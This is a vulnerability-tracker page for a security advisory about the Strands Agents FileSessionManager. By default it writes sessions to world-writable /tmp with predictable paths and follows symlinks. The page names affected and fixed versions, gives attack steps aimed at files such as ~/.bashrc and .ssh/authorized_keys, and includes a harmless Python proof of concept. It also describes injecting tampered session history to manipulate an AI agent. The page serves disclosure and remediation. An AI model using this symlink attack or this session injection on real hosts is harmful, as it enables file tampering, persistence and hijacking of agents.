Live › vulnerability › GHSA-3w55-933p-8pv5
Go to dashboardThe Strands Agents FileSessionManager stores session data by default in the world-writable /tmp/strands/sessions/ directory, using predictable paths and writing through a .tmp file that follows symbolic links. A local user can plant a symlink to make the process overwrite any file the victim account can write, or inject tampered session history that the agent then trusts.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:39 UTC. All times on this page are UTC.
Exposed systems run strands-agents below 1.48.0 with session persistence through FileSessionManager on a shared host, where other local users can write to /tmp. Systems that set a private session directory or run on a single-user machine with no other local accounts face much less risk. The sources do not say whether the default applies to every SDK language binding.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| strands-agents | pypi | < 1.48.0 | 1.48.0 |
pip show strands-agents, and confirm it is below 1.48.0./tmp/strands/sessions/ on hosts running the SDK.FileSessionManager without setting a custom storage directory.strands-agents to 1.48.0 or later.FileSessionManager instead of the /tmp default.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The FileSessionManager defaults to storing session data in /tmp/strands/sessions/ (a world-writable directory) using predictable file paths and a write pattern (open(path + ".tmp", "w") → os.replace()) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.
Component: strands-py/src/strands/session/file_session_manager.py
Root Cause:
tempfile.gettempdir() + "/strands/sessions/" (line 58) — resolves to /tmp/strands/sessions/ on Linux/macOS_write_file() method (lines 116-123) writes to a predictable .tmp path without symlink protection:
tmp = f"{path}.tmp"
with open(tmp, "w", encoding="utf-8", newline="\n") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
os.replace(tmp, path)
open() follows symlinks — a pre-placed symlink at the .tmp path causes writes to an arbitrary target file/tmp/strands/sessions/session_<id>/ (or monitors for new directories via inotify)session.json.tmp → /home/victim/.bashrc (or any writable file).ssh/authorized_keys, cron files, etc.)import os, json, tempfile, shutil
# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)
# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
f.write("ORIGINAL - should not be overwritten\n")
symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
os.unlink(symlink_path)
os.symlink(target_file, symlink_path)
# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
json.dump({"session_id": "test", "injected": True}, f, indent=2)
# Verify: target file overwritten
with open(target_file) as f:
print(f"Target file content: {f.read()}")
# Output: {"session_id": "test", "injected": true}
# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)
~/.strands/sessions/ or $XDG_DATA_HOME/strands/sessions/ instead of /tmp/os.open() with O_NOFOLLOW | O_CREAT | O_WRONLY — refuses to follow symlinkstempfile.mkstemp() for atomic writes instead of predictable .tmp suffixThis page as .md · .json · in your agent: get_signal("GHSA-3w55-933p-8pv5")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.